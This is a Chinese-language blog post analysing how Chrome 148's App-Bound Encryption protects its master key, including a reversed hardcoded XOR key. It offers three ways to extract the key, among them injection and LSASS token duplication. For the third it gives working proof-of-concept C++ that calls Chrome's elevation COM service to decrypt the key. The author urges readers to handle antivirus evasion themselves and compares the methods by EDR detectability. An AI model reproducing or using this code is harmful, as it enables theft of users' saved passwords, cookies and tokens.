137 ≤ Chrome 主密钥获取研究

前言

想要解密Chrome保存的用户密码,Cookie等信息,就需要获得主密钥。该版本的Chrome解密主密钥延续了ChromeAppBound的机制,采取多阶段逐步校验解密。加密解密均由GoogleChromeElevationService服务提供,该服务是一个进程外的COM服务,提供了加密解密的接口。

  1. 阶段1:以SYSTEM身份进行DPAPI解密
  2. 阶段2:以登录的用户身份进行DPAPI解密
  3. 阶段3:验证客户端的路径
  4. 阶段4:AES-GCM解密

下面是具体阶段的分析。

版本:148.0.7778.97 x64位

源码分析

从Chromium官网中查看源码

c 复制代码
HRESULT Elevator::DecryptData(const BSTR ciphertext,
                              BSTR* plaintext,
                              DWORD* last_error) {
  UINT length = ::SysStringByteLen(ciphertext);

  if (!length)
    return E_INVALIDARG;

  DATA_BLOB input = {};
  input.cbData = length;
  input.pbData = reinterpret_cast<BYTE*>(ciphertext);

  DATA_BLOB intermediate = {};

  // Decrypt using the SYSTEM dpapi store.
  if (!::CryptUnprotectData(&input, nullptr, nullptr, nullptr, nullptr, 0,
                            &intermediate)) {
    *last_error = ::GetLastError();
    return kErrorCouldNotDecryptWithSystemContext;
  }

  base::win::ScopedLocalAlloc intermediate_freer(intermediate.pbData);

  std::string plaintext_str;
  bool should_reencrypt = false;

  if (ScopedClientImpersonation impersonate; impersonate.is_valid()) {
    DATA_BLOB output = {};
    // Decrypt using the user store.
    if (!::CryptUnprotectData(&intermediate, nullptr, nullptr, nullptr, nullptr,
                              0, &output)) {
      *last_error = ::GetLastError();
      return kErrorCouldNotDecryptWithUserContext;
    }
    base::win::ScopedLocalAlloc output_freer(output.pbData);

    std::string mutable_plaintext(reinterpret_cast<char*>(output.pbData),
                                  output.cbData);

    const std::string validation_data = PopFromStringFront(mutable_plaintext);
    if (validation_data.empty()) {
      return kErrorInvalidValidationData;
    }
    const auto data =
        std::vector<uint8_t>(validation_data.cbegin(), validation_data.cend());
    const auto process = GetCallingProcess();
    if (!process.IsValid()) {
      *last_error = ::GetLastError();
      return kErrorCouldNotObtainCallingProcess;
    }

    // Note: Validation should always be done using caller impersonation token.
    HRESULT validation_result = ValidateData(process, data);

    if (FAILED(validation_result)) {
      *last_error = ::GetLastError();
      return validation_result;
    }
    if (validation_result == kSuccessShouldReencrypt) {
      should_reencrypt = true;
    }
    plaintext_str = PopFromStringFront(mutable_plaintext);
  } else {
    return impersonate.result();
  }
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
  InternalFlags flags;
  auto post_process_result = PostProcessData(plaintext_str, &flags);
  if (!post_process_result.has_value()) {
    return post_process_result.error();
  }
  plaintext_str.swap(*post_process_result);
  if (flags.post_process_should_reencrypt) {
    should_reencrypt = true;
  }
#endif  // BUILDFLAG(GOOGLE_CHROME_BRANDING)

  *plaintext =
      ::SysAllocStringByteLen(plaintext_str.c_str(), plaintext_str.length());

  if (!*plaintext)
    return E_OUTOFMEMORY;

  if (base::CommandLine::ForCurrentProcess()->HasSwitch(
          switches::kFakeReencryptForTestingSwitch)) {
    should_reencrypt = true;
  }
  return should_reencrypt ? kSuccessShouldReencrypt : S_OK;
}

从源码中很清晰的看到解密流程:

  1. 以SYSTEM身份进行一次DPAPI解密
  2. 以用户身份进行一次DPAPI解密

逆向分析

然而实践之后发现使用解密出的主密钥无法正确解密数据,显然不止有这么点东西。使用IDA去看elevation_service.exe才发现,事情没有这么简单。

第一阶段解密
  • 进行了两次不同身份的DPAPI解密

  • 得到的数据,这里记作dec_blob

    text 复制代码
    000001cc`699db740  20 00 00 00 03 00 43 3a-5c 50 72 6f 67 72 61 6d   .....C:\Program
    000001cc`699db750  20 46 69 6c 65 73 5c 47-6f 6f 67 6c 65 5c 43 68   Files\Google\Ch
    000001cc`699db760  72 6f 6d 65 5d 00 00 00-03 dd 84 72 86 2e c2 42  rome]....݄r�.�B
    000001cc`699db770  47 dc ed f8 05 d1 30 4c-a5 50 a4 64 89 92 43 17  G���.�0L�P�d��C.
    000001cc`699db780  b3 12 fd 70 fd 0a 73 b1-5f c4 21 30 07 70 0c 25  �.�p�.s�_�!0.p.%
    000001cc`699db790  e9 e2 c5 60 68 8f 99 35-88 81 a3 07 ca b0 38 46  ���`h..5..�.ʰ8F
    000001cc`699db7a0  5f a6 3d 88 b6 b8 22 f7-97 08 88 99 a3 7d bd 46  _�=.��"��...�}�F
    000001cc`699db7b0  b1 68 42 21 ba c1 60 ef-7b 8f c5 52 18 a4 cb be  �hB!��`�{.�R.�˾
    000001cc`699db7c0  8a ed 5d a2 f3
客户端校验
  • 验证客户端所在的路径,必须要在C:\Program Files\Google\Chrome下。

  • identifier 是 d e c _ b l o b [ 0 x 4 : 0 x 24 ] \textcolor{orange}{dec\_blob[0x4:0x24]} dec_blob[0x4:0x24]区间的数据,由 f l a g + p a t h \textcolor{orange}{flag+path} flag+path组成。这里就是0x3和C:\Program Files\Google\Chrome。

  • 获取客户端进程令牌的安全属性

第二阶段解密
  • 进行KSP解密,期间检查 d e c _ b l o b [ 0 x 25 : 0 x 28 ] \textcolor{orange}{dec\_blob[0x25:0x28]} dec_blob[0x25:0x28]的DWORD值是否为3

  • 解密 d e c _ b l o b [ 0 x 29 : 0 x 48 ] \textcolor{orange}{dec\_blob[0x29:0x48]} dec_blob[0x29:0x48]的数据,得到的结果记为aes_key (因为后面分析发现会用此结果作为AES-GCM的解密密钥)。

  • 对aes_key与硬编码进行单字节XOR

  • 硬编码数据,共32字节:

text 复制代码
00007ff6`10cfa7d8  cc f8 a1 ce c5 66 05 b8-51 75 52 ba 1a 2d 06 1c  �����f.�QuR�.-..
00007ff6`10cfa7e8  03 a2 9e 90 27 4f b2 fc-f5 9b a4 b7 5c 39 23 90  .��.'O������\9#.
第三阶段解密

使用AES-GCM 解密 d e c _ b l o b [ 0 x 49 : 84 ] \textcolor{orange}{dec\_blob[0x49:84]} dec_blob[0x49:84],得到最终的主密钥。

主密钥获取 - 一鱼三吃

第一吃(无需管理员)

原理是创建Chrome进程,然后注入DLL,由DLL去调用COM服务GoogleChromeElevationService的解密接口。已经有开源项目,但是需要修改,这里不再重复写了。项目详情见:参考[4]。

第二吃(需要管理员)

原理是模拟GoogleChromeElevationService的整个解密流程:

  1. 复制Lsass的Token,以便使用SYSTEM的身份进行DPAPI解密。 注意:这一步需要管理员权限! \textcolor{BrickRed}{注意:这一步需要管理员权限!} 注意:这一步需要管理员权限!
  2. 使用当前登录用户身份进行第二次DPAPI解密。
  3. 使用KSP解密AES-GCM的加密秘钥。
  4. 使用硬编码XOR再次解密AES-GCM的加密秘钥。
  5. 使用AES-GCM解密得到最终的主密钥。

也有开源项目,详见:参考[3]。

第三吃(需要管理员)

这是本篇文章重点要说的

原理步骤:

  1. 编写一个请求GoogleChromeElevationService服务的程序A,直接调用其解密接口。
  2. 将程序A复制到目录C:\Program Files\Google\Chrome下。 注意:这一步需要管理员权限! \textcolor{BrickRed}{注意:这一步需要管理员权限!} 注意:这一步需要管理员权限!
  3. 运行Chrome目录下的A。

这里只给出概念验证的源码,不提供完整项目,拒绝脚本小子!自己考虑免杀!

c 复制代码
// IElevator2Chrome.h
DEFINE_GUID(IID_IElevatorChrome,
	0x463abecf, 0x410d, 0x407f, 0x8a, 0xf5, 0x0d, 0xf3, 0x5a, 0x00, 0x5c, 0xc8);

enum ProtectionLevel
{
	PROTECTION_NONE = 0,
	PROTECTION_PATH_VALIDATION_OLD = 1,
	PROTECTION_PATH_VALIDATION = 2,
	PROTECTION_PATH_VALIDATION_WITH_ISOLATION = 3,
	PROTECTION_MAX = 4,
};

interface IElevator2Chrome : public IUnknown
{
public:
    /**
     * ?? CRX ??????
     * @param crx_path         CRX ????
     * @param browser_appid    ??????? ID
     * @param browser_version  ?????
     * @param session_id       ?? ID
     * @param caller_proc_id   ???? ID
     * @param proc_handle      ????????
     * @return HRESULT
     */
    virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(
        /* [in]      */ BSTR      crx_path,
        /* [in]      */ BSTR      browser_appid,
        /* [in]      */ BSTR      browser_version,
        /* [in]      */ BSTR      session_id,
        /* [in]      */ UINT      caller_proc_id,
        /* [out]     */ ULONG64 * proc_handle
    ) = 0;

    /**
     * ????
     * @param protection_level ????
     * @param plaintext        ?????
     * @param ciphertext       ????????
     * @param last_error       ?????????
     * @return HRESULT
     */
    virtual HRESULT STDMETHODCALLTYPE EncryptData(
        /* [in]      */ ProtectionLevel  protection_level,
        /* [in]      */ BSTR             plaintext,
        /* [out]     */ BSTR* ciphertext,
        /* [out]     */ UINT32* last_error
    ) = 0;

    /**
     * ????
     * @param ciphertext   ?????
     * @param plaintext    ????????
     * @param last_error   ?????????
     * @return HRESULT
     */
    virtual HRESULT STDMETHODCALLTYPE DecryptData(
        /* [in]      */ BSTR      ciphertext,
        /* [out]     */ BSTR* plaintext,
        /* [out]     */ UINT32* last_error
    ) = 0;

    // More...
};
c 复制代码
// ChromeMasterKeyFetchV20.h
class ChromeMasterKeyFetchV20
{
public:
	std::vector<uint8_t> get(const std::wstring& master_key_path = L"") override
	{
		const GUID guid_chrome_elevator = { 0x708860e0,0xf641,0x4611,{0x88,0x95,0x7d,0x86,0x7d,0xd3,0x67,0x5b} };
        std::vector<uint8_t> result;
		
		try
		{
			uint32_t error = 0;
			auto enc_master_key = get_encrypted_master_key(master_key_path.empty() ? get_master_key_path() : master_key_path);
			
			
			CComPtr<IElevator2Chrome> pElevatorChrome;
			auto hr = ::CoCreateInstance(guid_chrome_elevator, nullptr, CLSCTX_LOCAL_SERVER,IID_PPV_ARGS(&pElevatorChrome));
			if (FAILED(hr) || !pElevatorChrome) throw std::runtime_error("Failed to create IElevatorChrome instance.");

			// 必须设置代理权限,否则会出现DRM_E_LIC_CHAIN_TOO_DEEP错误
			hr = ::CoSetProxyBlanket(
				pElevatorChrome,
				RPC_C_AUTHN_DEFAULT,
				RPC_C_AUTHZ_DEFAULT,
				COLE_DEFAULT_PRINCIPAL,
				RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
				RPC_C_IMP_LEVEL_IMPERSONATE,
				NULL,
				EOAC_DYNAMIC_CLOAKING
			);
			if (FAILED(hr)) throw std::runtime_error("Failed to set proxy blanket.");

			utils::UniquePtr<OLECHAR, decltype(&::SysFreeString)> dec_master_key(nullptr, ::SysFreeString);
			utils::UniquePtr<OLECHAR, decltype(&::SysFreeString)>
				bstrCiphertext(SysAllocStringByteLen(reinterpret_cast<const char*>(enc_master_key.data() + 4), static_cast<UINT>(enc_master_key.size() - 4)), ::SysFreeString);
			
			hr = pElevatorChrome->DecryptData(bstrCiphertext.get(), &dec_master_key, &error);
			if (FAILED(hr) || !dec_master_key) throw std::runtime_error("Failed to decrypt master key.");

			result.resize(0x20);
			std::memcpy(result.data(), dec_master_key.get(), 0x20);
			return result;
		}
		catch (const std::exception& e)
		{
			throw e;
		}
	}
protected:
	// master_key_path: C:\Users\username\AppData\Local\Google\Chrome\User Data\Local State
	std::vector<uint8_t> get_encrypted_master_key(const std::wstring& master_key_path)
	{
		auto ifKeyJson = std::ifstream(master_key_path, std::ios::in | std::ios::binary);
		if (!ifKeyJson.is_open()) throw std::runtime_error("Failed to open master key file.");

		std::string content((std::istreambuf_iterator<char>(ifKeyJson)), std::istreambuf_iterator<char>());
		auto jsonContent = boost::json::parse(content).as_object();
		std::string encryptedKeyBase64 = jsonContent.at("os_crypt").at("app_bound_encrypted_key").as_string().c_str();
		// ??base64??????
		std::size_t decoded_size =
			boost::beast::detail::base64::decoded_size(encryptedKeyBase64.length());
		// ??vector???????base64??????
		std::vector<uint8_t> decodedKey(decoded_size, 0);

		auto result = boost::beast::detail::base64::decode(decodedKey.data(), encryptedKeyBase64.data(), encryptedKeyBase64.length());
		if (result.first == 0) throw std::runtime_error("Failed to decode master key.");

		decodedKey.resize(result.first);

		return decodedKey;
	}
};

注意:不同版本的 C h r o m e ,需要使用不同版本的 I E l e v a t o r C h r o m e 接口。本篇分析的 C h r o m e 用的是 I E l e v a t o r 2 C h r o m e 接口。 \textcolor{BrickRed}{注意:不同版本的Chrome,需要使用不同版本的IElevatorChrome接口。本篇分析的Chrome用的是IElevator2Chrome接口。} 注意:不同版本的Chrome,需要使用不同版本的IElevatorChrome接口。本篇分析的Chrome用的是IElevator2Chrome接口。

测试
总结

三种方法各有优劣。方法1虽然不需要管理员权限,但是需要进行注入,这就比较考究注入的姿势了。但是常见的注入方式动作太大太明显,在某些EDR环境下容易暴露。

方法2虽然不用注入,但是需要管理员权限,而且需要复制LSASS进程的令牌。一方面,LSASS进程是很敏感的,在某些EDR下面也是看守的很紧,容易触发告警;另一方面,不同版本的Chrome解密的算法不同,这就需要进行大量的维护,不太适用。

方法3算是一个比较折中的办法,需要管理员的权限也仅仅是为了能够将自身移动到限定的目录下。

参考

1\] [https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc;l=94?q=PreProcessData\&sq=\&ss=chromium%2Fchromium%2Fsrc](https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc;l=94?q=PreProcessData&sq=&ss=chromium%2Fchromium%2Fsrc) \[2\] [GitHub - xaitax/Chrome-App-Bound-Encryption-Decryption: Bypass Chromium's App-Bound Encryption via Direct Syscall-based Reflective Process Hollowing. Extract cookies, passwords, payment methods \& tokens from Chrome, Edge, Brave \& Avast - fileless, user-mode, no admin required. · GitHub](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/) \[3\] [GitHub - runassu/chrome_v20_decryption: Chrome COOKIE v20 decryption PoC · GitHub](https://github.com/runassu/chrome_v20_decryption) \[4\] [GitHub - Maldev-Academy/DumpChromeSecrets: Extract data from modern Chrome versions, including refresh tokens, cookies, saved credentials, autofill data, browsing history, and bookmarks · GitHub](https://github.com/Maldev-Academy/DumpChromeSecrets)

相关推荐
C2H5OH4 小时前
PortSwigger SQL注入LAB5 & LAB6
网络安全
阿虎儿4 小时前
[实战记录] Windows 11 远程桌面已开启,但 3389 端口无监听?终极排查与修复
windows
汉克老师7 小时前
GESP6级C++考试语法知识(四、图与树(四))
c++·贪心算法·优先队列·哈夫曼编码·哈夫曼树·gesp6级·gesp六级
子兮曰8 小时前
whisper.cpp 深度解析:从边缘设备到实时语音识别
前端·c++·后端
特种加菲猫8 小时前
二叉搜索树:数据世界的“快速寻路指南”
开发语言·c++
naturerun8 小时前
从数组中删除元素的算法
数据结构·c++·算法
特种加菲猫8 小时前
STL关联容器:Set/Multiset与Map/Multimap详解
开发语言·c++
Andy8 小时前
C++ list容器基本逻辑结构详解
c++·windows·list
сокол9 小时前
【网安-Web渗透测试-内网渗透】局域网ARP攻击与DNS劫持
服务器·网络·网络安全